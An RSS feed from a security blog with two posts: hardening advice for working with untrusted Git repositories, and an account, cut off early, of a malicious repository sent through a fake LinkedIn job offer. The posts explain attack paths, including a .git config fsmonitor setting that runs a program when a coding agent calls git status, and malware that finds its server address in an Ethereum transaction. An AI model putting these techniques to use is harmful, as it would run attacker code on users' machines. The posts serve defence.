<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DIGITAL SELF-DEFENSE</title>
	<atom:link href="https://www.digitalnisebeobrana.cz/en/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.digitalnisebeobrana.cz/</link>
	<description></description>
	<lastBuildDate>Tue, 08 Sep 2026 10:00:31 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1</generator>

<image>
	<url>https://www.digitalnisebeobrana.cz/wp-content/uploads/2018/12/cropped-mr.black_-32x32.png</url>
	<title>DIGITAL SELF-DEFENSE</title>
	<link>https://www.digitalnisebeobrana.cz/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>How to Work Safely with an Untrusted Git Repository</title>
		<link>https://www.digitalnisebeobrana.cz/en/how-to-work-safely-with-an-untrusted-git-repository/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Tue, 08 Sep 2026 09:59:53 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[nástroje]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[github]]></category>
		<category><![CDATA[gitlab]]></category>
		<category><![CDATA[hackeři]]></category>
		<category><![CDATA[sysadmin]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=7178</guid>

					<description><![CDATA[<p>An unfamiliar repository may be completely legitimate. It still contains code and configuration written by someone else. What should you check before installing dependencies, running builds or tests, and how can you limit the risk when using IDEs, coding agents, and Git itself?</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/how-to-work-safely-with-an-untrusted-git-repository/">How to Work Safely with an Untrusted Git Repository</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Working with someone else&#8217;s Git repository is completely normal. It might be an open-source project, code delivered by a contractor, a take-home assignment, a new project at work, or simply a repository someone has asked you to review.</p>
<p>Cloning it is the obvious first step. From a security perspective, the more interesting question is what starts running after that.</p>
<p>Your editor may load project-specific configuration. A package manager may execute scripts during installation. Builds and tests run additional code. Submodules may pull in more repositories. A coding agent may perform several of these steps automatically. And if you received the entire working directory, including <code>.git</code>, local repository configuration can even change how Git itself behaves.</p>
<p>That does not mean every unfamiliar project needs a dedicated malware-analysis lab. It does mean it is useful to know when you stop merely reading a project and start allowing it to execute code.</p>
<h2>Opening a project can mean more than viewing source files</h2>
<p>A modern editor or IDE is not just a text viewer. Once a project is opened, it may load workspace-specific settings, run tasks, configure a debugger, initialize a build system, or enable other project-level automation.</p>
<p>This is why development environments increasingly distinguish between trusted and untrusted projects.</p>
<p>VS Code, for example, has <strong>Workspace Trust</strong> and Restricted Mode. Until you trust a workspace, it restricts features such as tasks, debugging, and some workspace settings. JetBrains IDEs have a similar Safe Mode that lets you inspect source code without automatically running Maven or Gradle imports and other project scripts.</p>
<p>If your editor asks whether you trust an unfamiliar project, it is not merely showing you another dialog to dismiss. That decision can determine which project-controlled features are allowed to run automatically.</p>
<p>For an initial review, it therefore makes sense to keep a restricted or safe mode enabled if your development environment provides one.</p>
<h2>Installing dependencies can already execute code</h2>
<p>The next important boundary is project setup.</p>
<p>A JavaScript project will often tell you to run something like:</p>
<pre><code>npm install
npm run dev</code></pre>
<p><code>npm install</code> is not limited to downloading files into <code>node_modules</code>. npm supports lifecycle scripts such as <code>preinstall</code>, <code>install</code>, <code>postinstall</code>, and <code>prepare</code>, and these may run automatically during installation.</p>
<p>These hooks are a legitimate part of the ecosystem and many perfectly normal packages rely on them. But they are still executable code.</p>
<p>Before installing an unfamiliar project, it is therefore worth checking at least its <code>package.json</code> and the scripts it defines.</p>
<p>For an initial inspection, npm can also install dependencies without running package scripts:</p>
<pre><code>npm install --ignore-scripts</code></pre>
<p>This prevents npm from automatically executing lifecycle scripts during installation. It is not a sandbox, and it does not make the project safe. If you later explicitly run <code>npm run dev</code>, <code>npm test</code>, or another script, that command will still execute its target.</p>
<p>What it does give you is a way to separate downloading dependencies from automatically executing additional code during installation.</p>
<p>The same principle applies outside npm. Maven, Gradle, Python packaging systems, Make, Cargo, and other build or package systems all have their own ways of executing code during setup and builds. The exact mechanism changes, but the security question remains the same: <strong>what actually runs when I perform the step described as installation, build, or test?</strong></p>
<h2>A malicious command does not have to look malicious</h2>
<p>I ran into exactly this problem while analyzing a malicious repository sent as part of a fake job offer.</p>
<p>Its README contained a perfectly ordinary instruction:</p>
<pre><code>npm run dev</code></pre>
<p>The project did start. At the same time, malicious code executed in the background, discovered the address of its command-and-control server, downloaded additional code, and began establishing persistence in development tools.</p>
<p>The attacker did not need to convince the victim to run something called <code>run-malware</code>. The malicious behavior was hidden behind a step that someone reviewing a frontend project would normally perform anyway.</p>
<p>I described the full case in <a href="/en/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain/">I Ran Malware on Purpose. It Found Its Server Address in the Blockchain</a>.</p>
<p>This is why looking only for obviously suspicious commands is not enough. It also matters what an ordinary command launches, imports, downloads, or executes behind the scenes.</p>
<h2>A coding agent can walk through the same chain automatically</h2>
<p>Coding agents do not create this problem, but they can make the entire sequence much faster and less visible.</p>
<p>If you ask an agent to “review this project and explain how it works,” it may be able to stay entirely within static analysis. But a task such as “get the project running,” “fix the failing tests,” “find the bug,” or “verify that the application works” may legitimately require it to install dependencies, run a build, execute tests, start a development server, or launch other tools defined by the project.</p>
<p>The agent does not have to violate your instructions. It can follow them exactly and still execute a malicious install or build script.</p>
<p>That is why limiting the environment in which the agent operates is more useful than relying on it to correctly identify every dangerous command.</p>
<p>Claude Code, for example, separates tool permissions from sandboxing. Permissions determine which tools the agent may use, while the sandbox can restrict filesystem and network access for Bash and the processes Bash launches. That means the same boundaries can also apply to <code>npm</code>, build scripts, test runners, and other child processes started by the agent.</p>
<p>The sandbox can be configured from Claude Code with:</p>
<pre><code>/sandbox</code></pre>
<p>For a genuinely untrusted project, sandboxing is most useful when combined with restricted access to sensitive files and unnecessary network destinations. Requiring confirmation for every individual command is a weaker control on its own. A long sequence of otherwise routine-looking commands can also lead to approval fatigue, where prompts are eventually confirmed almost automatically.</p>
<h2>One repository can pull in more repositories</h2>
<p>Git submodules allow one repository to reference additional Git repositories. Their configuration lives in <code>.gitmodules</code>, which is part of the repository itself.</p>
<p>That makes these two commands meaningfully different:</p>
<pre><code>git clone https://example.com/project.git</code></pre>
<p>and:</p>
<pre><code>git clone --recurse-submodules https://example.com/project.git</code></pre>
<p>The second form immediately starts resolving and cloning additional repositories referenced by the project.</p>
<p>With an unfamiliar repository, there is little reason to initialize submodules before checking where they point. You can inspect <code>.gitmodules</code> first and initialize the submodules only if you actually need them.</p>
<p>Git also has protocol policies for network operations triggered indirectly. Some protocols are allowed by default, the more dangerous <code>ext</code> protocol is disabled, and others may use the <code>user</code> policy, which distinguishes between a transport explicitly requested by the user and one triggered automatically, for example by a submodule.</p>
<p>There is usually no reason to loosen these defaults globally. If a particular project requires broader protocol permissions, it is better to understand why before changing them.</p>
<h2>Receiving someone else&#8217;s <code>.git</code> is a different situation</h2>
<p>So far, we have assumed that you clone a normal remote repository yourself.</p>
<p>The situation changes if someone gives you the entire working directory, for example as a ZIP archive, through a shared drive, or in a synchronized folder:</p>
<pre><code>project/
├── src/
├── package.json
├── README.md
└── .git/</code></pre>
<p>In that case, you did not receive only the source files and Git history. You also received someone else&#8217;s local Git metadata.</p>
<p>This is where the distinction from a normal <code>git clone</code> matters. A remote clone does not copy the source repository&#8217;s local <code>.git/config</code> or its hooks. Git creates a new <code>.git</code> directory and new local configuration on your machine.</p>
<p>If someone hands you the entire directory including <code>.git</code>, however, you receive the configuration and hooks they prepared as well.</p>
<p>Git&#8217;s own security documentation explicitly warns about this. Repository-local configuration and hooks can cause arbitrary commands to run, which is why normal Git operations directly against an untrusted <code>.git</code> directory should not be treated as safe.</p>
<h3>A current example: GitSpawn and <code>core.fsmonitor</code></h3>
<p>The recent GitSpawn research from Manifold Security provides a good example.</p>
<p>Git supports <code>core.fsmonitor</code>, which can help it detect changed files more efficiently. Its value, however, may also point to an external program.</p>
<p>An untrusted <code>.git/config</code> can therefore contain something equivalent to:</p>
<pre><code>[core]
    fsmonitor = &lt;program&gt;</code></pre>
<p>Some coding agents automatically queried the state of a Git repository after opening it. When Git performed an operation that refreshed its index, it used the configured fsmonitor and executed the attacker&#8217;s program.</p>
<p>That meant an apparently harmless command such as:</p>
<pre><code>git status</code></pre>
<p>could result in execution of a program specified in the repository&#8217;s local configuration.</p>
<p>For this specific path, an automated status check can instead use:</p>
<pre><code>git -c core.fsmonitor=false status</code></pre>
<p>The <code>-c</code> option overrides the configuration value for that Git invocation, so the repository&#8217;s <code>core.fsmonitor</code> setting is not used for this command.</p>
<p>A global setting such as:</p>
<pre><code>git config --global core.fsmonitor false</code></pre>
<p>is not a reliable defense against a malicious repository-local value. Repository configuration has higher precedence than global user configuration and can override it.</p>
<p><code>git -c core.fsmonitor=false status</code> is also not a general-purpose way to “secure Git.” It addresses this specific <code>core.fsmonitor</code> path. Git configuration and hooks provide other ways to influence program execution.</p>
<h2><code>safe.directory</code> is not a list of trusted projects</h2>
<p>Git has a protection mechanism for repositories owned by another user.</p>
<p>By default, Git refuses to work with a repository owned by someone else and will not trust its repository-local configuration or hooks. Specific exceptions can be added through <code>safe.directory</code>.</p>
<p>This is useful, for example, on multi-user systems.</p>
<p>It is not a general defense against a malicious repository. If you extract an archive prepared by someone else, the resulting files will normally be owned by your own account. From an ownership perspective, Git has no reason to reject them even though the contents of <code>.git</code> came from an untrusted source.</p>
<p>If Git reports “dubious ownership,” it is therefore a bad idea to solve the problem automatically with:</p>
<pre><code>git config --global --add safe.directory '*'</code></pre>
<p>The <code>*</code> value disables the ownership protection globally. It is better to understand why a particular repository has a different owner and add a specific exception only when necessary.</p>
<h2>When you actually need the untrusted <code>.git</code></h2>
<p>Sometimes there is no trusted remote copy and you need to preserve the history, branches, or other Git metadata from the directory you received.</p>
<p>Git recommends not working directly in the original repository in that case. Instead, create a fresh clone from it:</p>
<pre><code>git clone --no-local /path/to/original-repository /path/to/clean-copy</code></pre>
<p><code>--no-local</code> prevents Git from using the usual local-clone optimizations and creates a new repository through the normal Git transport mechanism. The resulting copy therefore gets a new <code>.git</code> directory instead of inheriting the original repository&#8217;s local configuration and hooks.</p>
<p>This is still not an absolute sandbox. The server side of the clone is handled by <code>git-upload-pack</code>, and Git&#8217;s own documentation points out that this component has an attack surface of its own. For a genuinely hostile <code>.git</code> directory, Git recommends running that side under an unprivileged user or adding another isolation layer.</p>
<p>If you do not need the history at all, the simpler option is not to use the supplied <code>.git</code> directory in the first place.</p>
<h2>You can also restrict automatic bare-repository discovery</h2>
<p>Git can work with bare repositories, which contain Git data without a normal working tree.</p>
<p>If you do not use bare repositories in your normal workflow, Git provides a useful hardening option:</p>
<pre><code>git config --global safe.bareRepository explicit</code></pre>
<p>With this setting, Git will not automatically operate on a bare repository that it merely discovers somewhere in the directory structure. The repository has to be selected explicitly.</p>
<p>Git documents this option as a mitigation for attacks in which a cloned project contains another bare repository that a later Git command discovers automatically.</p>
<h2>When you really need to run the project</h2>
<p>Static inspection only gets you so far. At some point you may need to start the application, reproduce a bug, run tests, or observe its behavior.</p>
<p>At that point you already know you are going to execute untrusted code. The most important question is no longer another individual Git setting, but the environment in which that code will run.</p>
<p>A normal developer account may have access to SSH keys, private repositories, Git and cloud tokens, production <code>.env</code> files, saved sessions, other source trees, or credential agents running in the background.</p>
<p>An unfamiliar project usually needs none of these.</p>
<p>If you do not trust a project but still need to run it, use a disposable or otherwise restricted environment without real credentials and without unnecessary access to host data.</p>
<p>Depending on the risk, that may be a sandbox, a separate user account, an isolated development environment, or a disposable virtual machine.</p>
<p>A container can be part of that setup, but “it runs in Docker” is not the same as strong isolation. Docker bind mounts are writable by default, which allows a process in the container to modify files on the host. Access to the Docker daemon is even more powerful; Docker&#8217;s own documentation warns that controlling the daemon effectively grants root-level capabilities on the host.</p>
<p>I would therefore avoid exposing the Docker socket, a full home directory, an SSH agent, or credential directories to an untrusted container. If the project only needs to read host files, a read-only mount is preferable to a writable one.</p>
<p>Network access deserves the same treatment. If the project does not need unrestricted outbound connectivity, there is no reason to provide it automatically.</p>
<p>A VM snapshot is useful for restoring disk state. It is not a defense against data exfiltration. Rolling back a machine does not revoke a token that has already been sent somewhere else.</p>
<h2>Practical security baseline</h2>
<p>None of the measures below make an untrusted repository trustworthy on their own. They reduce different ways in which a project, Git, or the tools around it can execute code or reach the rest of your system.</p>
<figure class="wp-block-table">
<table>
<thead>
<tr>
<th>Situation</th>
<th>What to do</th>
<th>Why</th>
<th>What it does not solve</th>
</tr>
</thead>
<tbody>
<tr>
<td>Opening an unfamiliar project</td>
<td>Use Restricted / Safe Mode if your editor or IDE supports it.</td>
<td>Limits automatic tasks, builds, and project-controlled configuration before review.</td>
<td>Does not protect you from code you later choose to execute.</td>
</tr>
<tr>
<td>Initial npm installation</td>
<td><code>npm install --ignore-scripts</code></td>
<td>Prevents lifecycle scripts from running automatically during installation.</td>
<td>It is not a sandbox. An explicit <code>npm run</code> still executes its target script.</td>
</tr>
<tr>
<td>Git submodules</td>
<td>Do not start with <code>--recurse-submodules</code>; inspect <code>.gitmodules</code> first.</td>
<td>The main repository may point to additional code sources.</td>
<td>Says nothing about whether the main repository itself is safe.</td>
</tr>
<tr>
<td>Git protocol policy</td>
<td>Do not loosen <code>protocol.*.allow</code> globally without a specific reason.</td>
<td>Git already has security-oriented defaults for automatically triggered transports and submodules.</td>
<td>An allowed HTTPS or SSH repository can still contain malicious code.</td>
</tr>
<tr>
<td>Repository owned by another user</td>
<td>Do not use <code>safe.directory=*</code> globally. Add a specific exception only when necessary.</td>
<td>Preserves Git&#8217;s ownership protection.</td>
<td>Does not protect you from a malicious repository that is already owned by your account.</td>
</tr>
<tr>
<td>Bare repositories</td>
<td><code>git config --global safe.bareRepository explicit</code> if you do not normally rely on implicit bare repositories.</td>
<td>Restricts automatic discovery of a bare repository embedded in an untrusted project.</td>
<td>Does not address normal working-tree repositories or other execution paths.</td>
</tr>
<tr>
<td>An entire untrusted <code>.git</code> directory</td>
<td><code>git clone --no-local /source /clean-copy</code></td>
<td>Creates a fresh <code>.git</code> instead of working directly with untrusted local configuration and hooks.</td>
<td><code>git-upload-pack</code> still has its own attack surface; highly untrusted input should be isolated further.</td>
</tr>
<tr>
<td>Automated <code>git status</code> against an untrusted <code>.git</code></td>
<td><code>git -c core.fsmonitor=false status</code></td>
<td>Prevents that command from using a repository-supplied <code>core.fsmonitor</code> program.</td>
<td>Addresses only this specific GitSpawn path.</td>
</tr>
<tr>
<td>Coding agent</td>
<td>Use a sandbox and restrict filesystem and network access. In Claude Code, for example, configure sandboxing through <code>/sandbox</code>.</td>
<td>The same restrictions can apply to processes started by the agent, including npm and build scripts.</td>
<td>Sandboxing does not replace sensible permissions and review of sensitive actions.</td>
</tr>
<tr>
<td>Running genuinely untrusted code</td>
<td>Use a disposable or restricted environment without SSH keys, production tokens, cloud credentials, the host Docker socket, or other unnecessary data.</td>
<td>Reduces the impact if malicious code actually runs.</td>
<td>Does not prevent the malicious program from executing.</td>
</tr>
<tr>
<td>Docker</td>
<td>Do not expose the Docker socket to untrusted containers; restrict host mounts and make them read-only where possible.</td>
<td>The Docker socket provides extremely powerful host access, while writable bind mounts allow changes to host files.</td>
<td>A container is not, by itself, a complete security boundary.</td>
</tr>
<tr>
<td>Git and surrounding tooling</td>
<td>Keep supported versions up to date using the normal update mechanism for your operating system or distribution.</td>
<td>Git, package managers, editors, and runtimes all have security vulnerabilities of their own.</td>
<td>Updates do not protect against legitimate features being used maliciously exactly as designed.</td>
</tr>
</tbody>
</table>
</figure>
<h2>How much trust does the project actually need?</h2>
<p>You do not have to decide once and for all whether an unfamiliar repository is “safe” or “unsafe.”</p>
<p>It is more practical to grant trust gradually.</p>
<p>Reading source files does not require access to your SSH keys. Installing dependencies does not always require running every install hook. A coding agent that only needs to explain the architecture does not automatically need permission to execute arbitrary software. And a project that really does need to run does not have to run under the same account, with the same credentials, as the rest of your development work.</p>
<p>The less trust a particular step requires, the less trust there is a reason to give it.</p>
<blockquote>
<p><strong>Need to review the security of a development environment, CI workflow, or coding-agent setup?</strong></p>
<p>If you need a second opinion on a concrete workflow, permission model, or technical security design, we can go through it as part of a <a href="/en/osobni-konzultace/">Security Consultation</a>. The goal is a practical recommendation for your actual environment, not an unnecessarily broad audit.</p>
</blockquote>
<hr>
<h2>Sources</h2>
<ul>
<li><a href="https://git-scm.com/docs/git">Git documentation – SECURITY</a>: untrusted repositories, configuration, hooks, and recommendations for handling an untrusted <code>.git</code>.</li>
<li><a href="https://git-scm.com/docs/git-config">git-config documentation</a>: <code>safe.directory</code>, <code>safe.bareRepository</code>, protocol policies, and <code>core.fsmonitor</code>.</li>
<li><a href="https://git-scm.com/docs/git-clone">git-clone documentation</a>: local cloning and <code>--no-local</code>.</li>
<li><a href="https://docs.npmjs.com/misc/scripts/">npm Scripts documentation</a>: lifecycle scripts executed during installation.</li>
<li><a href="https://docs.npmjs.com/cli/v11/commands/npm-install/">npm install documentation</a>: <code>--ignore-scripts</code>, <code>allowScripts</code>, and <code>strict-allow-scripts</code>.</li>
<li><a href="https://code.claude.com/docs/en/security">Claude Code Security</a> and <a href="https://code.claude.com/docs/en/sandboxing">Sandboxing</a>: permissions, filesystem isolation, and network restrictions.</li>
<li><a href="https://code.visualstudio.com/docs/editing/workspaces/workspace-trust">VS Code Workspace Trust</a>.</li>
<li><a href="https://www.jetbrains.com/help/idea/project-security.html">JetBrains Project Security</a>.</li>
<li><a href="https://docs.docker.com/engine/security/">Docker Engine security</a> and <a href="https://docs.docker.com/engine/storage/bind-mounts/">Bind mounts</a>.</li>
<li><a href="https://www.manifold.security/blog/ai-coding-agents-git-hijack">Manifold Security: GitSpawn</a>.</li>
</ul>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/how-to-work-safely-with-an-untrusted-git-repository/">How to Work Safely with an Untrusted Git Repository</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>I ran malware on purpose. It found its server address in the blockchain</title>
		<link>https://www.digitalnisebeobrana.cz/en/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain/</link>
		
		<dc:creator><![CDATA[Milan]]></dc:creator>
		<pubDate>Thu, 06 Aug 2026 11:52:10 +0000</pubDate>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[hacky]]></category>
		<category><![CDATA[Techniky hackerů]]></category>
		<category><![CDATA[blockchain]]></category>
		<category><![CDATA[linkedin]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[RAT]]></category>
		<guid isPermaLink="false">https://www.digitalnisebeobrana.cz/?p=7138</guid>

					<description><![CDATA[<p>A LinkedIn job offer led to a private repository with malware in it. It reads its server address out of an Ethereum transaction, and on first run it writes itself into VS Code, Cursor and npm.</p>
<p>The post <a href="https://www.digitalnisebeobrana.cz/en/i-ran-malware-on-purpose-it-found-its-server-address-in-the-blockchain/">I ran malware on purpose. It found its server address in the blockchain</a> appeared first on <a href="https://www.digitalnisebeobrana.cz/en">DIGITAL SELF-DEFENSE</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Malicious code usually has to reach the attacker&#8217;s server somehow. That address is therefore one of the first things anyone pulls out of a sample, because it is something you can act on: block it at the firewall, report it to the hosting provider, warn everyone else about it.</p>
<p>This one carried no address at all. On execution it asks the public Ethereum network about one specific transaction and unpacks the address out of it. That transaction is public and you can <a href="https://etherscan.io/tx/0x1ee850dfe646976e3783dcd1db11282316234cf46efc62b218557e9bef2670a3">open it in a blockchain explorer</a>. The server address is written straight into the recipient of that transaction, just in hexadecimal. If you want to work it out yourself, the exact breakdown and a five-line script are in the technical section at the end.</p>
<p>It is worth noticing where exactly that information sits. Not in the transaction data. The transaction itself carries no message. That recipient address belongs to nobody: it is not a wallet and not a smart contract, it is simply a number someone made up so that it works out to an IP address and two ports. The message is not in what was sent. The message is in who it was sent to.</p>
<p>It is like a public listing with a street address in it. The address looks exactly like any other, nothing about it seems odd, and it passes unnoticed. Except the house number is actually a safe combination, and only the intended reader knows that.</p>
<p>So there is nothing in the code the victim receives that you could block. It contains only a pointer to infrastructure nobody is going to switch off. And even if someone did manage to take that server down, the attacker sends another transaction to a differently assembled address and every deployed copy redirects itself to it.</p>
<h2>This malware reached me in a job offer on LinkedIn<a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact.png"><img fetchpriority="high" decoding="async" class="alignright size-medium wp-image-7149" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact-289x300.png" alt="" width="289" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact-289x300.png 289w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact-500x520.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_first_contact.png 528w" sizes="(max-width: 289px) 100vw, 289px" /></a></h2>
<p>At the end of July, a man calling himself Aaron Clark messaged me. Verified profile, 500+ connections, one mutual contact, a decently written message. He was offering collaboration on an AI-powered crypto tracker. The project was supposedly already funded, with five million dollars set aside for development, and a token launch on the way. Part-time or full-time, whatever suited me.<br />
I do not talk to headhunters very often, so I cannot say whether anything about it was out of the ordinary. At first glance nothing seemed off.<br />
At second glance it did.</p>
<p>He described himself as a member of Block&#8217;s board of directors.</p>
<p>That is the sentence that made me open his profile properly.</p>
<h2>Who is actually writing to me</h2>
<p>Block is a publicly traded company. You do not have to guess who sits on the board of a company like that. They are public. Block lists them on its investor relations pages, and as an issuer it has to list them in its SEC filings too. You open the <a href="https://investors.block.xyz/governance/board-of-directors/">list</a> and read the names. Jack Dorsey is on it, co-founder of Block and of Twitter. Jim McKelvey, the other co-founder. Shawn Carter, better known to most people as Jay-Z, since May 2021. And alongside them, people from Sequoia Capital, Goldman Sachs and MIT.</p>
<p>Aaron Clark is not.</p>
<p>That took two minutes and would have settled the matter on its own. The rest of the profile only filled in the same picture.</p>
<p><strong>A career that does not add up.</strong> According to the profile he was a project manager at a small company from 2019 to 2021, then self-employed for two years, then CTO of a small AI startup for two years, and from 2024 a board member of one of the largest fintech companies in the world. I have no first-hand experience of that world, but I suspect people reach the board of a company that size by a slightly different route.</p>
<p><strong>Zero activity.</strong> Over a thousand followers, not a single post. Ever. Someone with that position and that reach who has not written one sentence in two years.</p>
<p><strong>A role that does not fit.</strong> A board member of a major fintech company sourcing a freelance frontend developer on LinkedIn, at an hourly rate, for an unrelated AI crypto project. That does not happen.</p>
<p><strong><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile.png"><img decoding="async" class="alignright size-medium wp-image-7150" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-133x300.png" alt="" width="133" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-133x300.png 133w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-456x1024.png 456w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-768x1726.png 768w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-683x1536.png 683w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-500x1124.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile-800x1798.png 800w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_profile.png 861w" sizes="(max-width: 133px) 100vw, 133px" /></a>A verified profile.</strong> The blue badge next to a name does not mean the contents of the profile are true. It means the account passed some verification, typically of identity or a work email address. It says nothing about a claim of board membership. That distinction is exactly what most people skip over, which is why the badge works.</p>
<p>Fun fact: in the right-hand column, next to that profile, LinkedIn was serving me a paid ad for open positions at Block. The platform treats the name match as a reason to sell advertising rather than a reason to verify anything. And in doing so it lends the scammer credibility.<br />
Thanks, LinkedIn!</p>
<h2>Delete it and report it. Or maybe not?</h2>
<p>At this point it was clear this was a scam. But I wanted to know which kind.</p>
<p>Fake job offers end in several different ways. Sometimes it is a straightforward advance-fee scam. Sometimes it is harvesting personal data. And sometimes the entire story is just wrapping for getting malicious code onto the victim&#8217;s machine.</p>
<p>I was interested in the whole path, not in the fact that someone was lying about their employer. Replying and letting them walk me through their process cost me nothing.</p>
<p>I asked the ordinary questions. What stage the project was at, what the existing team looked like, which areas they needed help with, whether this was consulting, infrastructure and security, product development or a longer-term role.</p>
<p>Most of them were never answered.</p>
<p>On Friday a project overview PDF arrived. On Monday I wrote back that out of that very broad scope, my experience was closest to infrastructure, security, backend architecture and deployment, and asked again what specifically they wanted from me at this stage, whether they had a team and an existing codebase, and what the next step would be.</p>
<p>This came back:</p>
<blockquote><p>Okay,<br />
That is what we want from you. This project&#8217;s normal hourly rate is around $100.</p></blockquote>
<p>The first line answers nothing. The rest of the message went on to say the frontend was already built, that I should review it, and that <strong>only then</strong> would we schedule a technical meeting about timeline and milestones. And to send my GitHub username.</p>
<p>So I created a separate GitHub account, filled it with AI-generated content to make it look more credible (yes, really) and sent it over on Tuesday morning. The private repository invitation arrived six minutes later.</p>
<p>The following afternoon, a follow-up:</p>
<blockquote><p>Did you get any chance to run and see the project?</p></blockquote>
<p>That is the most revealing sentence in the whole conversation. In all that time, nobody asked me a single technical question. Not what I thought of the architecture, not what I would change about the frontend. The only thing they cared about was whether I had <strong>run</strong> it.</p>
<h2><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf.png"><img decoding="async" class="alignright size-medium wp-image-7151" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf-289x300.png" alt="" width="289" height="300" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf-289x300.png 289w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf-500x520.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_pdf.png 528w" sizes="(max-width: 289px) 100vw, 289px" /></a>What was in the repository</h2>
<p>The project overview PDF came first. I checked whether it contained any active content. It did not. No JavaScript, no embedded files, no forms. The PDF was not carrying anything; its job was to look like material from a real company and send the reader on to the repository. It did that job well. During a quick check it is easy to honestly verify a document, conclude that it is clean, and then let that feeling spill over onto everything else that came with it.</p>
<p>The repository reported 6,273 commits. The name and photo of the last commit&#8217;s author at the top, a complete frontend structure below. At first glance, a project someone had worked on for months.</p>
<p>That history was stolen. It belonged to a legitimate open source project, and the attacker placed a single commit on top of it, message &#8220;Refactoring codebse for speed&#8221;, which deleted over four thousand files and replaced them with a hundred of its own. Only the history was left. Consistent with that, every file in the repository carries the same last-modified date.</p>
<p>That has an unpleasant side effect. GitHub matches a commit author by email address, and the address in that commit belongs to a real developer of the original project. So the repository page displays the account and photo of an existing person who has nothing to do with any of this. That is why I am not naming him here.</p>
<p>It is worth being clear about whose problem this actually is. Git, by design, does not verify the author of a commit at all. The name and email are written in by whoever commits, and they can put anything there. It has worked that way from the start, and it follows from Git being decentralised and usable with no server connection.</p>
<p>What GitHub adds is the presentation. It matches the commit to an account by email, shows a photo and a link to a profile, and by default an unsigned commit gets no marking whatsoever. A forged commit therefore looks exactly like a genuine one. GitHub also explicitly excludes Git email spoofing from its bug bounty, on the grounds that on its own it grants an attacker neither repository access nor any additional privileges. Technically that holds. In practice it means someone else&#8217;s name and photo can be used as credibility for free, which is exactly what happened here.</p>
<p>There are defences, but they are opt-in and you have to turn them on in advance. GitHub lets you hide your own email and commit under an address of the form <code>username@users.noreply.github.com</code>. That address stays tied to your account, so your commits are still attributed to you normally; nobody just knows an address they could reuse. The second option is signing commits with a key and enabling what GitHub calls vigilant mode, after which any unsigned commit bearing your name is displayed as unverified.</p>
<p><a href="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer.png"><img loading="lazy" decoding="async" class="alignright size-medium wp-image-7152" src="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer-300x246.png" alt="" width="300" height="246" srcset="https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer-300x246.png 300w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer-500x411.png 500w, https://www.digitalnisebeobrana.cz/wp-content/uploads/2026/08/aaron_mess_offer.png 510w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a>The catch is that this only protects the person who set it up. It would have helped the developer whose name appeared in that forged commit only if he had enabled vigilant mode himself.</p>
<p>The rest of the page was less convincing. Zero stars, zero watchers, zero forks, no contributors, no description. And a <code>.env</code> file committed at the root. Don&#8217;t do that <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<h2>README.ai</h2>
